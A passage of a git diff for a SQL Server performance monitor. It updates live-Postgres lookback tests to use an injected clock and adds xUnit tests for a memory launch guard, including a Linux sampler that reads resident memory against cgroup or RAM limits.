     /// <summary>Every lookback-bounded read, by name: the six the issue inventoried plus memory_stats, the same
@@ -369,6 +370,7 @@ private static string RepoRoot([CallerFilePath] string thisFile = "")
 /// included, because the ghost existed then.</para>
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class LatestValueLookbackLivePostgresTests
 {
     /// <summary>Sentinel ids — a real server_id is a storage-name hash, never these.</summary>
@@ -418,7 +420,7 @@ public async Task ALiveServer_ReportsOnlyWhatItStillHas_AndTheDrillDownListsTheS
         {
             await DeleteSentinelsAsync(connection, ct);
 
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await SeedLiveAndGhostAsync(connection, LiveServerId, end, ct);
 
             await using var postgres = NpgsqlDataSource.Create(connectionString!);
@@ -485,7 +487,7 @@ public async Task AServerWhoseNewestSampleIsOlderThanTheLookback_EmitsNoLatestVa
             await DeleteSentinelsAsync(connection, ct);
 
             /* Everything a day and an hour old: the collectors stopped, or the server went away. */
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             var stale = end.AddHours(-25);
             await InsertFileIoAsync(connection, StaleServerId, stale, "StaleDb", "StaleDb_data", 4096, ct);
             await InsertSizeAsync(connection, StaleServerId, stale, "StaleDb", 1, "ROWS", "StaleDb_data", 20_480, percentGrowth: true, "D:\\", 1_000_000, 10_000, ct);
@@ -543,7 +545,7 @@ public async Task TraceFlagTurnedOffAfterLastConnect_DropsOutOfTheOnLoadWindow_W
         {
             await DeleteSentinelsAsync(connection, ct);
 
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await InsertTraceFlagAsync(connection, TraceFlagClearServerId, end.AddDays(-3), 3604, status: true, ct);
             await InsertTraceFlagAsync(connection, TraceFlagClearServerId, end.AddDays(-1), 2371, status: true, ct);
             await InsertTraceFlagAsync(connection, TraceFlagClearServerId, end.AddHours(-6), 2371, status: true, ct);
@@ -587,7 +589,7 @@ public async Task AFlagTurnedOffWhileAnotherStaysOn_DropsOutAtTheNextCapture_Not
         {
             await DeleteSentinelsAsync(connection, ct);
 
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await InsertTraceFlagAsync(connection, TraceFlagClearServerId, end.AddDays(-1), 3604, status: true, ct);
             await InsertTraceFlagAsync(connection, TraceFlagClearServerId, end.AddDays(-1), 2371, status: true, ct);
             await InsertTraceFlagAsync(connection, TraceFlagClearServerId, end.AddHours(-6), 2371, status: true, ct);
@@ -633,7 +635,7 @@ public async Task ServerWhoseOnlyTraceFlagRowIsOutsideTheWindow_EmitsNoTraceFlag
         {
             await DeleteSentinelsAsync(connection, ct);
 
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await InsertTraceFlagAsync(connection, TraceFlagAllOffServerId, end.AddDays(-3), 1222, status: true, ct);
 
             await using var postgres = NpgsqlDataSource.Create(connectionString!);
@@ -666,7 +668,7 @@ public async Task AHistoricalWindow_ReadsTheStateAsItStoodAtItsOwnEnd_AgainstDev
         {
             await DeleteSentinelsAsync(connection, ct);
 
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await SeedLiveAndGhostAsync(connection, LiveServerId, end, ct);
 
             /* Twenty hours ago the dropped database was still there (last seen five hours before that), and none
@@ -731,7 +733,7 @@ public async Task TheShippedDatabaseSizeRead_PlansOnlyTheLookbacksChunks_Against
         {
             await DeleteSentinelsAsync(connection, ct);
 
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             using (var seed = new NpgsqlCommand(@"
 INSERT INTO file_io_stats
     (collection_id, collection_time, server_id, server_name, database_name, file_name, file_type, size_mb)
@@ -803,7 +805,7 @@ public async Task ACollectorSlowedToDaily_KeepsItsFactForTwoIntervals_ThenLosesI
         {
             await DeleteSentinelsAsync(connection, ct);
 
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await InsertOverrideAsync(connection, DailyServerId, "database_size_stats", 1440, ct);
             await InsertOverrideAsync(connection, DailyStaleServerId, "database_size_stats", 1440, ct);
 
@@ -869,7 +871,7 @@ public async Task AnOnLoadOnlyCollector_AnchorsOnItsNewestCapture_AgainstDevPost
         {
             await DeleteSentinelsAsync(connection, ct);
 
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await InsertOverrideAsync(connection, OnLoadServerId, "file_io_stats", 0, ct);
             await InsertOverrideAsync(connection, OnLoadServerId, "memory_stats", 0, ct);
 
@@ -919,7 +921,7 @@ public async Task AFleetWideOverride_WidensEveryServer_AndAServersOwnRowWins_Aga
         {
             await DeleteSentinelsAsync(connection, ct);
 
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await InsertOverrideAsync(connection, null, FleetOverrideCollector, 1440, ct);
             await InsertOverrideAsync(connection, FleetOverriddenServerId, FleetOverrideCollector, 60, ct);
             await InsertClerkAsync(connection, FleetServerId, end.AddHours(-30), "MEMORYCLERK_SQLBUFFERPOOL", 800, ct);
@@ -971,7 +973,7 @@ public async Task ADailyCollectorsRead_StillPlansOnlyTheChunksItsLookbackSpans_A
         {
             await DeleteSentinelsAsync(connection, ct);
 
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             await InsertOverrideAsync(connection, PlanShapeDailyServerId, "database_size_stats", 1440, ct);
             using (var seed = new NpgsqlCommand(@"
 INSERT INTO database_size_stats
diff --git a/Darling/Darling.Tests/LaunchMemoryGuardTests.cs b/Darling/Darling.Tests/LaunchMemoryGuardTests.cs
new file mode 100644
index 0000000000..d07026af0a
--- /dev/null
+++ b/Darling/Darling.Tests/LaunchMemoryGuardTests.cs
@@ -0,0 +1,837 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5479: the memory launch guard releases itself. A tripped guard launches no new collection bodies, the in-flight
+/// ones finish, and a drained process allocates nothing, so no garbage collection ran and the figure stayed over the
+/// line for 25 hours. These tests drive <see cref="LaunchMemoryGuard"/> through an injected sampler, collection and
+/// clock, so they need no real memory and no particular host OS.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class LaunchMemoryGuardTests
+{
+    private const long Mb = 1024L * 1024;
+
+    /* The root-cgroup limit files, built from the production mount constants (the production code builds the same paths
+       from them; only these tests name the whole path). */
+    private const string CgroupV2MemoryMaxPath = DarlingStoreHostProfile.CgroupV2MountPath + "/memory.max";
+    private const string CgroupV1MemoryLimitPath = DarlingStoreHostProfile.CgroupV1MemoryMountPath + "/memory.limit_in_bytes";
+    private const long Limit = 1536 * Mb;
+
+    /* The line is 0.80 of the limit: 1228.8MB. */
+    private static LaunchMemoryReading Over(string metric = "private bytes", string source = "the GC memory budget")
+        => new(1426 * Mb, Limit, metric, source);
+
+    private static LaunchMemoryReading Under() => new(815 * Mb, Limit, "private bytes", "the GC memory budget");
+
+    /// <summary>A guard over scripted memory: <see cref="Reading"/> is what the sampler returns, <see cref="Collections"/>
+    /// counts the collections run, <see cref="Now"/> is the clock, and <see cref="OnCollect"/> lets a test say what a
+    /// collection does to the memory.</summary>
+    private sealed class LaunchGuardRig
+    {
+        public LaunchMemoryReading Reading = Over();
+        public int Collections;
+        public TimeSpan Now = TimeSpan.FromHours(3);
+        public Action? OnCollect;
+        public int Samples;
+        public Exception? SamplerFault;
+        public CapturingTestLogger Logger { get; } = new();
+        public LaunchMemoryGuard Guard { get; }
+
+        public LaunchGuardRig()
+        {
+            Guard = new LaunchMemoryGuard(
+                () =>
+                {
+                    Samples++;
+                    if (SamplerFault is not null)
+                    {
+                        throw SamplerFault;
+                    }
+
+                    return Reading;
+                },
+                () =>
+                {
+                    Collections++;
+                    OnCollect?.Invoke();
+                },
+                () => Now,
+                Logger);
+        }
+
+        public bool Pass(int inFlight = 0) => Guard.MayLaunch(inFlight);
+
+        public bool PassAfter(TimeSpan advance, int inFlight = 0)
+        {
+            Now += advance;
+            return Guard.MayLaunch(inFlight);
+        }
+
+        public int Count(LogLevel level, string containing)
+            => Logger.Lines.Count(l => l.StartsWith(level + ":", StringComparison.Ordinal) && l.Contains(containing, StringComparison.Ordinal));
+    }
+
+    /// <summary>
+    /// The latch (#5479). The sampler reads over the line at the trip and keeps reading over until the collection has
+    /// run, then reads under. The in-flight bodies finish with no allocation, so nothing else ever frees the memory.
+    /// RED on the base behavior (the same test with the collection planted out): the guard holds forever.
+    /// </summary>
+    [Fact]
+    public void AGuardWhoseMemoryOnlyFallsAfterACollection_ReleasesAfterIt()
+    {
+        var rig = new LaunchGuardRig();
+        rig.OnCollect = () => rig.Reading = Under();
+
+        Assert.True(rig.Pass(inFlight: 2));
+
+        Assert.Equal(1, rig.Collections);
+        Assert.False(rig.Guard.IsHolding);
+
+        /* The next 25 hours of 15-second passes: the guard stays released and runs nothing more. */
+        for (var i = 0; i < 6000; i++)
+        {
+            Assert.True(rig.PassAfter(TimeSpan.FromSeconds(15)));
+        }
+
+        Assert.Equal(1, rig.Collections);
+
+        /* The collection cleared the crossing, so there was never a hold to announce (#5479). */
+        Assert.Equal(0, rig.Logger.CountAtLevel(LogLevel.Critical));
+        Assert.Equal(1, rig.Count(LogLevel.Information, "815MB after"));
+    }
+
+    /// <summary>The same latch with the release one pass LATER: the collection frees the memory, but the first
+    /// reading after it still reads over (the runtime returns memory to the OS a moment after the collection); the
+    /// next pass reads under and releases. No new collection is needed for that, and none is run.</summary>
+    [Fact]
+    public void AGuardWhoseMemoryFallsJustAfterTheCollection_ReleasesOnTheNextPass()
+    {
+        var rig = new LaunchGuardRig();
+
+        Assert.False(rig.Pass());
+        Assert.Equal(1, rig.Collections);
+        Assert.True(rig.Guard.IsHolding);
+
+        rig.Reading = Under();
+        Assert.True(rig.PassAfter(TimeSpan.FromSeconds(15)));
+        Assert.False(rig.Guard.IsHolding);
+        Assert.Equal(1, rig.Collections);
+        Assert.Equal(1, rig.Count(LogLevel.Information, "resuming collection-body launches"));
+    }
+
+    /// <summary>
+    /// Cadence: memory the collection cannot free keeps the hold, and the collection repeats no sooner than a
+    /// minute after the last one. The hold Warning comes every five minutes. The trip, each collection and the release
+    /// log exactly once per event. The guard never releases on its own while the figure stays over.
+    /// </summary>
+    [Fact]
+    public void AGuardStillOverAfterTheCollection_RunsItAgainEachMinuteAndWarnsEveryFiveMinutes()
+    {
+        var rig = new LaunchGuardRig();
+
+        Assert.False(rig.Pass(inFlight: 3));
+        Assert.Equal(1, rig.Collections);
+
+        rig.Now += TimeSpan.FromSeconds(45);
+        Assert.False(rig.Guard.MayLaunch(3));
+        Assert.Equal(1, rig.Collections);
+
+        rig.Now += TimeSpan.FromSeconds(15);
+        Assert.False(rig.Guard.MayLaunch(3));
+        Assert.Equal(2, rig.Collections);
+
+        /* Fifteen-second passes up to eleven minutes after the trip: a collection at 0, 60, ... 660 seconds. */
+        for (var elapsed = 75; elapsed <= 660; elapsed += 15)
+        {
+            rig.Now = TimeSpan.FromHours(3) + TimeSpan.FromSeconds(elapsed);
+            Assert.False(rig.Guard.MayLaunch(3));
+        }
+
+        Assert.Equal(12, rig.Collections);
+        Assert.Equal(12, rig.Count(LogLevel.Information, "ran a full garbage collection"));
+        Assert.Equal(1, rig.Logger.CountAtLevel(LogLevel.Critical));
+
+        /* Warnings at 5 and 10 minutes; each names the hold, the figure and the bodies still in flight. */
+        Assert.Equal(2, rig.Logger.CountAtLevel(LogLevel.Warning));
+        var warning = rig.Logger.Lines.First(l => l.StartsWith("Warning:", StringComparison.Ordinal));
+        Assert.Contains("5m 00s", warning);
+        Assert.Contains("1426MB", warning);
+        Assert.Contains("3 collection bodies still in flight", warning);
+
+        Assert.Equal(0, rig.Count(LogLevel.Information, "resuming collection-body launches"));
+
+        /* The memory finally drops (a body ended and freed it): one release, with how long it held. */
+        rig.Reading = Under();
+        rig.Now += TimeSpan.FromSeconds(15);
+        Assert.True(rig.Guard.MayLaunch(0));
+        Assert.Equal(1, rig.Count(LogLevel.Information, "resuming collection-body launches"));
+        var release = rig.Logger.Lines.Last(l => l.Contains("resuming collection-body launches", StringComparison.Ordinal));
+        Assert.Contains("11m 15s", release);
+        Assert.Contains("815MB", release);
+    }
+
+    /// <summary>A pass under the line while not holding does nothing: no log, no collection.</summary>
+    [Fact]
+    public void AGuardUnderTheLine_LogsNothingAndRunsNothing()
+    {
+        var rig = new LaunchGuardRig { Reading = Under() };
+
+        for (var i = 0; i < 50; i++)
+        {
+            Assert.True(rig.PassAfter(TimeSpan.FromSeconds(15)));
+        }
+
+        Assert.Empty(rig.Logger.Lines);
+        Assert.Equal(0, rig.Collections);
+    }
+
+    /// <summary>The trip line names the metric, the figure, the limit and where the limit came from, and the
+    /// collection line gives the figure before and after.</summary>
+    [Fact]
+    public void TheTripAndTheCollectionLogTheMetricTheFigureTheLimitAndItsSource()
+    {
+        var rig = new LaunchGuardRig { Reading = Over("resident memory", "cgroup memory limit") };
+        rig.OnCollect = () => rig.Reading = new LaunchMemoryReading(1300 * Mb, Limit, "resident memory", "cgroup memory limit");
+
+        rig.Pass();
+
+        /* The collection left the figure over the line (1300MB of 1536MB), so the Critical names that figure. */
+        var critical = rig.Logger.Lines.Single(l => l.StartsWith("Critical:", StringComparison.Ordinal));
+        Assert.Contains("resident memory 1300MB", critical);
+        Assert.Contains("80", critical);
+        Assert.Contains("1536MB limit (cgroup memory limit)", critical);
+
+        var collection = rig.Logger.Lines.Single(l => l.Contains("ran a full garbage collection", StringComparison.Ordinal));
+        Assert.StartsWith("Information:", collection, StringComparison.Ordinal);
+        Assert.Contains("resident memory 1426MB before, 1300MB after", collection);
+    }
+
+    /// <summary>
+    /// A release and then a climb the collection cannot clear is a new episode: a second Critical. The old test pinned
+    /// the flood (#5481 round 1): a figure hovering at the line got a Critical and an aggressive collection every
+    /// pass, 15 seconds apart. A crossing 15 seconds after a collection now holds quietly, and the next collection,
+    /// a minute after the last, is the one that decides.
+    /// </summary>
+    [Fact]
+    public void AReleasedGuardThatTripsAgain_StartsANewEpisodeOnlyWhenACollectionCannotClearIt()
+    {
+        var rig = new LaunchGuardRig();
+
+        /* Episode one: held, then released when the memory falls. */
+        Assert.False(rig.Pass());
+        rig.Reading = Under();
+        Assert.True(rig.PassAfter(TimeSpan.FromSeconds(15)));
+        Assert.Equal(1, rig.Logger.CountAtLevel(LogLevel.Critical));
+
+        /* Over again 15 seconds later: the last collection was 30 seconds ago, so none may run and the guard holds
+         * without a Critical. */
+        rig.Reading = Over();
+        Assert.False(rig.PassAfter(TimeSpan.FromSeconds(15)));
+        Assert.Equal(1, rig.Collections);
+        Assert.Equal(1, rig.Logger.CountAtLevel(LogLevel.Critical));
+
+        /* A minute after the first collection one runs, cannot clear it, and the second episode is announced. */
+        Assert.False(rig.PassAfter(TimeSpan.FromSeconds(30)));
+        Assert.Equal(2, rig.Collections);
+        Assert.Equal(2, rig.Logger.CountAtLevel(LogLevel.Critical));
+    }
+
+    /// <summary>
+    /// A process that hovers at the line for ten minutes: over it on every 15-second pass, and under it again each
+    /// time a collection runs. At most ten collections (one a minute), no Critical, and never a hold that outlasts
+    /// the next collection.
+    /// </summary>
+    [Fact]
+    public void AFigureHoveringAtTheLine_CollectsAtMostOncePerMinuteAndNeverLogsCritical()
+    {
+        var rig = new LaunchGuardRig { Now = TimeSpan.Zero };
+        rig.OnCollect = () => rig.Reading = Under();
+
+        for (var pass = 0; pass < 40; pass++)
+        {
+            rig.Reading = Over();
+            rig.Guard.MayLaunch(0);
+            rig.Now += TimeSpan.FromSeconds(15);
+        }
+
+        Assert.Equal(10, rig.Collections);
+        Assert.Equal(0, rig.Logger.CountAtLevel(LogLevel.Critical));
+        Assert.Equal(0, rig.Logger.CountAtLevel(LogLevel.Warning));
+    }
+
+    /// <summary>The first collection after the process starts is never rate-limited: the monotonic clock starts near
+    /// zero, and a zero default for "the last collection" would skip it for the first minute (#5481 round 1).</summary>
+    [Fact]
+    public void TheFirstCollectionAfterStart_IsNeverSkipped()
+    {
+        var rig = new LaunchGuardRig { Now = TimeSpan.Zero };
+        rig.OnCollect = () => rig.Reading = Under();
+
+        Assert.True(rig.Pass());
+
+        Assert.Equal(1, rig.Collections);
+        Assert.False(rig.Guard.IsHolding);
+    }
+
+    /// <summary>A crossing the collection rate limit kept from collecting holds without a Critical: no collection has
+    /// yet failed to clear it, and the next one is due within the minute.</summary>
+    [Fact]
+    public void ACrossingTheRateLimitKeptFromCollecting_HoldsQuietlyUntilTheNextCollection()
+    {
+        var rig = new LaunchGuardRig { Now = TimeSpan.FromSeconds(100) };
+        rig.OnCollect = () => rig.Reading = Under();
+        rig.Pass();
+        rig.Reading = Over();
+
+        Assert.False(rig.PassAfter(TimeSpan.FromSeconds(15)));
+        Assert.True(rig.Guard.IsHolding);
+        Assert.Equal(0, rig.Logger.CountAtLevel(LogLevel.Critical));
+
+        Assert.True(rig.PassAfter(TimeSpan.FromSeconds(45)));
+        Assert.Equal(2, rig.Collections);
+        Assert.False(rig.Guard.IsHolding);
+    }
+
+    /// <summary>A sampler that fails while the guard holds ends the hold (fail open) with a Warning, so a later release
+    /// line never counts the time collection was running as time held (#5481 round 1).</summary>
+    [Fact]
+    public void ASamplerFaultWhileHolding_EndsTheHoldAndTheLaterReleaseCountsNoRunningTime()
+    {
+        var rig = new LaunchGuardRig();
+        Assert.False(rig.Pass());
+        Assert.True(rig.Guard.IsHolding);
+
+        rig.SamplerFault = new InvalidOperationException("no /proc");
+        Assert.True(rig.PassAfter(TimeSpan.FromSeconds(15)));
+        Assert.False(rig.Guard.IsHolding);
+        Assert.Equal(1, rig.Count(LogLevel.Warning, "ends its hold"));
+
+        /* An hour of running, then a fresh episode: its own length is what the release line reports. */
+        rig.SamplerFault = null;
+        Assert.False(rig.PassAfter(TimeSpan.FromHours(1)));
+        rig.Reading = Under();
+        Assert.True(rig.PassAfter(TimeSpan.FromSeconds(15)));
+        var release = rig.Logger.Lines.Last(l => l.Contains("resuming collection-body launches", StringComparison.Ordinal));
+        Assert.Contains("hold of 15s", release);
+        Assert.Equal(2, rig.Logger.CountAtLevel(LogLevel.Critical));
+    }
+
+    /// <summary>A guard that cannot read memory fails open, with one Warning, and keeps asking each pass.</summary>
+    [Fact]
+    public void AGuardThatCannotReadMemory_LetsCollectionLaunchAndWarnsOnce()
+    {
+        var rig = new LaunchGuardRig { SamplerFault = new InvalidOperationException("no /proc") };
+
+        for (var i = 0; i < 5; i++)
+        {
+            Assert.True(rig.PassAfter(TimeSpan.FromSeconds(15)));
+        }
+
+        Assert.Equal(5, rig.Samples);
+        Assert.Equal(1, rig.Logger.CountAtLevel(LogLevel.Warning));
+        Assert.Equal(0, rig.Collections);
+    }
+
+    /// <summary>A collection that throws does not end the hold or the loop: the hold continues and the failure is
+    /// logged.</summary>
+    [Fact]
+    public void ACollectionThatFails_KeepsTheHoldAndLogsIt()
+    {
+        var rig = new LaunchGuardRig();
+        rig.OnCollect = () => throw new InvalidOperationException("collection refused");
+
+        Assert.False(rig.Pass());
+
+        Assert.True(rig.Guard.IsHolding);
+        Assert.Equal(1, rig.Count(LogLevel.Warning, "collection refused"));
+    }
+
+    /// <summary>L2 (#5479): a collection that threw is not "a full garbage collection" the figure survived. The Critical
+    /// says the collection failed and still gives the figure; the "ran a full garbage collection" line is not logged.
+    /// RED before: the Critical read "even after a full garbage collection" whatever happened to the collection.</summary>
+    [Fact]
+    public void ACollectionThatFails_IsNotReportedAsAFullCollectionTheFigureSurvived()
+    {
+        var rig = new LaunchGuardRig();
+        rig.OnCollect = () => throw new InvalidOperationException("collection refused");
+
+        Assert.False(rig.Pass());
+
+        var critical = Assert.Single(rig.Logger.Lines, l => l.StartsWith("Critical:", StringComparison.Ordinal));
+        Assert.DoesNotContain("even after a full garbage collection", critical, StringComparison.Ordinal);
+        Assert.Contains("failed", critical, StringComparison.Ordinal);
+        Assert.Contains("1426MB", critical, StringComparison.Ordinal);
+        Assert.Equal(0, rig.Count(LogLevel.Information, "ran a full garbage collection"));
+    }
+
+    /// <summary>The wording still claims a collection when one completed and the figure stayed over.</summary>
+    [Fact]
+    public void ACollectionThatCompletes_StillSaysTheFigureSurvivedIt()
+    {
+        var rig = new LaunchGuardRig();
+
+        Assert.False(rig.Pass());
+
+        var critical = Assert.Single(rig.Logger.Lines, l => l.StartsWith("Critical:", StringComparison.Ordinal));
+        Assert.Contains("even after a full garbage collection", critical, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(0, "0s")]
+    [InlineData(42, "42s")]
+    [InlineData(300, "5m 00s")]
+    [InlineData(425, "7m 05s")]
+    [InlineData(3600, "1h 00m")]
+    [InlineData(90240, "25h 04m")]
+    public void TheHoldLengthReadsAtBothEnds(int seconds, string expected)
+        => Assert.Equal(expected, LaunchMemoryGuard.FormatHeld(TimeSpan.FromSeconds(seconds)));
+
+    /// <summary>The 0.80 line itself is unchanged and the Windows metric is private bytes against the GC's budget,
+    /// the way it was: the guard passes the sampler's two figures straight to the threshold rule.</summary>
+    [Fact]
+    public void TheThresholdRuleIsTheSameForAnySampler()
+    {
+        var rig = new LaunchGuardRig { Reading = new LaunchMemoryReading((long)(0.79 * Limit), Limit, "private bytes", "the GC memory budget") };
+        Assert.True(rig.Pass());
+
+        rig.Reading = new LaunchMemoryReading((long)(0.81 * Limit), Limit, "private bytes", "the GC memory budget");
+        Assert.False(rig.PassAfter(TimeSpan.FromSeconds(15)));
+
+        /* An unknown limit never blocks. */
+        rig.Reading = new LaunchMemoryReading(long.MaxValue, 0, "private bytes", "the GC memory budget");
+        Assert.True(rig.PassAfter(TimeSpan.FromMinutes(2)));
+    }
+
+    /// <summary>
+    /// Wiring pin: the collection loop asks the guard once per pass, the old latch field and the direct
+    /// <c>PrivateMemorySize64</c> read are gone from the worker, and the worker hands a test the guard to replace.
+    /// </summary>
+    [Fact]
+    public void TheCollectionLoopAsksTheGuardOncePerPass()
+    {
+        var worker = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+
+        Assert.Equal(1, CountOf(worker, "_launchMemoryGuard.MayLaunch("));
+        Assert.Equal(0, CountOf(worker, "_memoryGuardTrippedThisEpisode"));
+        Assert.Equal(0, CountOf(worker, "ShouldLaunchSweeps(workingSetBytes"));
+        Assert.Equal(0, CountOf(worker, "= currentProcess.PrivateMemorySize64"));
+        Assert.Contains("internal LaunchMemoryGuard LaunchGuard", worker, StringComparison.Ordinal);
+    }
+
+    private static int CountOf(string text, string needle)
+    {
+        var count = 0;
+        var at = 0;
+        while ((at = text.IndexOf(needle, at, StringComparison.Ordinal)) >= 0)
+        {
+            count++;
+            at += needle.Length;
+        }
+
+        return count;
+    }
+
+    /* ========================== the Linux metric: resident memory against the real limit ========================== */
+
+    private const string StatusFromTheIssue =
+        "Name:\tdotnet\nVmPeak:\t 9000000 kB\nVmSize:\t 8000000 kB\nVmData:\t 1460224 kB\nVmRSS:\t  829440 kB\nRssAnon:\t  700000 kB\nThreads:\t42\n";
+
+    private const string MeminfoSixteenGb = "MemTotal:       16777216 kB\nMemFree:         1000000 kB\n";
+
+    private sealed class FakeFiles
+    {
+        public Dictionary<string, string?> Files { get; } = new();
+        public Dictionary<string, int> Reads { get; } = new();
+
+        public string? Read(string path)
+        {
+            Reads[path] = Reads.GetValueOrDefault(path) + 1;
+            return Files.GetValueOrDefault(path);
+        }
+    }
+
+    private static (LinuxLaunchMemorySampler Sampler, FakeFiles Files, CapturingTestLogger Logger) LinuxRig(
+        string? status, string? meminfo, string? v2, string? v1, long workingSet = 700 * Mb, long gcBudget = Limit)
+    {
+        var files = new FakeFiles();
+        files.Files[LinuxLaunchMemorySampler.ProcStatusPath] = status;
+        files.Files[DarlingStoreHostProfile.ProcMeminfoPath] = meminfo;
+        files.Files[CgroupV2MemoryMaxPath] = v2;
+        files.Files[CgroupV1MemoryLimitPath] = v1;
+        var logger = new CapturingTestLogger();
+        return (new LinuxLaunchMemorySampler(files.Read, () => workingSet, () => gcBudget, logger), files, logger);
+    }
+
+    /// <summary>
+    /// The issue's numbers: <c>VmData</c> 1426MB, <c>VmRSS</c> 810MB, cgroup v2 <c>memory.max</c> 2147483648 (2Gi, the
+    /// runtime's GC budget 1536MB). The kernel kills at 2048MB of resident memory; the guard's line is 1638MB. The
+    /// figure is 810MB, so the guard launches. RED on the base metric (<c>VmData</c> against the 1536MB GC budget,
+    /// line 1229MB): 1426MB is over, so it holds.
+    /// </summary>
+    [Fact]
+    public void Linux_TheIssuesNumbers_Launch()
+    {
+        var (sampler, _, logger) = LinuxRig(StatusFromTheIssue, MeminfoSixteenGb, "2147483648\n", null);
+
+        var reading = sampler.Sample();
+
+        Assert.Equal("resident memory", reading.Metric);
+        Assert.Equal("cgroup memory limit", reading.LimitSource);
+        Assert.Equal(829440L * 1024, reading.Bytes);
+        Assert.Equal(2147483648L, reading.LimitBytes);
+        Assert.True(DarlingWorker.ShouldLaunchSweeps(reading.Bytes, reading.LimitBytes));
+        Assert.Empty(logger.Lines);
+
+        /* The base metric, for the record: it held at the same moment. */
+        var vmData = LinuxLaunchMemorySampler.ParseProcStatusBytes(StatusFromTheIssue, "VmData");
+        Assert.Equal(1460224L * 1024, vmData);
+        Assert.False(DarlingWorker.ShouldLaunchSweeps(vmData!.Value, Limit));
+    }
+
+    /// <summary>Resident memory over 80% of the cgroup limit still holds: the guard backs away from the kill, not from
+    /// a figure that never mattered.</summary>
+    [Fact]
+    public void Linux_ResidentMemoryOverTheCgroupLine_Holds()
+    {
+        var status = "VmData:\t 1460224 kB\nVmRSS:\t 1800000 kB\n";
+        var (sampler, _, _) = LinuxRig(status, MeminfoSixteenGb, "2147483648", null);
+
+        var reading = sampler.Sample();
+
+        Assert.False(DarlingWorker.ShouldLaunchSweeps(reading.Bytes, reading.LimitBytes));
+    }
+
+    [Fact]
+    public void Linux_CgroupV1Limit_IsUsedWhenV2IsAbsent()
+    {
+        var (sampler, _, _) = LinuxRig(StatusFromTheIssue, MeminfoSixteenGb, null, "1073741824\n");
+
+        var reading = sampler.Sample();
+
+        Assert.Equal(1073741824L, reading.LimitBytes);
+        Assert.Equal("cgroup memory limit", reading.LimitSource);
+    }
+
+    /// <summary>cgroup v2 <c>max</c>, and v1's near-<c>long.MaxValue</c> sentinel, both mean no limit: the limit is
+    /// total RAM.</summary>
+    [Theory]
+    [InlineData("max\n", null)]
+    [InlineData(null, "9223372036854771712\n")]
+    [InlineData("max", "9223372036854771712")]
+    public void Linux_NoCgroupLimit_FallsBackToTotalRam(string? v2, string? v1)
+    {
+        var (sampler, _, logger) = LinuxRig(StatusFromTheIssue, MeminfoSixteenGb, v2, v1);
+
+        var reading = sampler.Sample();
+
+        Assert.Equal(16777216L * 1024, reading.LimitBytes);
+        Assert.Equal("total RAM", reading.LimitSource);
+        Assert.Empty(logger.Lines);
+    }
+
+    /// <summary>A cgroup limit above total RAM is not a limit: RAM is smaller.</summary>
+    [Fact]
+    public void Linux_ACgroupLimitAboveRam_IsRam()
+    {
+        var (sampler, _, _) = LinuxRig(StatusFromTheIssue, MeminfoSixteenGb, "68719476736", null);
+
+        var reading = sampler.Sample();
+
+        Assert.Equal(16777216L * 1024, reading.LimitBytes);
+        Assert.Equal("total RAM", reading.LimitSource);
+    }
+
+    /// <summary>A readable cgroup limit with no readable <c>/proc/meminfo</c> is still a real limit.</summary>
+    [Fact]
+    public void Linux_CgroupLimitWithoutMeminfo_StillTheLimit()
+    {
+        var (sampler, _, _) = LinuxRig(StatusFromTheIssue, null, "2147483648", null);
+
+        var reading = sampler.Sample();
+
+        Assert.Equal(2147483648L, reading.LimitBytes);
+        Assert.Equal("cgroup memory limit", reading.LimitSource);
+    }
+
+    /// <summary>No limit readable at all: the sampler falls back to the runtime's working set against the GC's
+    /// budget, and says so once, however many samples follow.</summary>
+    [Fact]
+    public void Linux_UnreadableLimitFiles_FallBackAndLogOnce()
+    {
+        var (sampler, _, logger) = LinuxRig(StatusFromTheIssue, null, null, null, workingSet: 700 * Mb, gcBudget: 1536 * Mb);
+
+        for (var i = 0; i < 4; i++)
+        {
+            var reading = sampler.Sample();
+            Assert.Equal(700 * Mb, reading.Bytes);
+            Assert.Equal(1536 * Mb, reading.LimitBytes);
+            Assert.Equal("the GC memory budget", reading.LimitSource);
+            Assert.Equal("resident memory", reading.Metric);
+        }
+
+        Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+        Assert.Contains("falls back", logger.Joined);
+    }
+
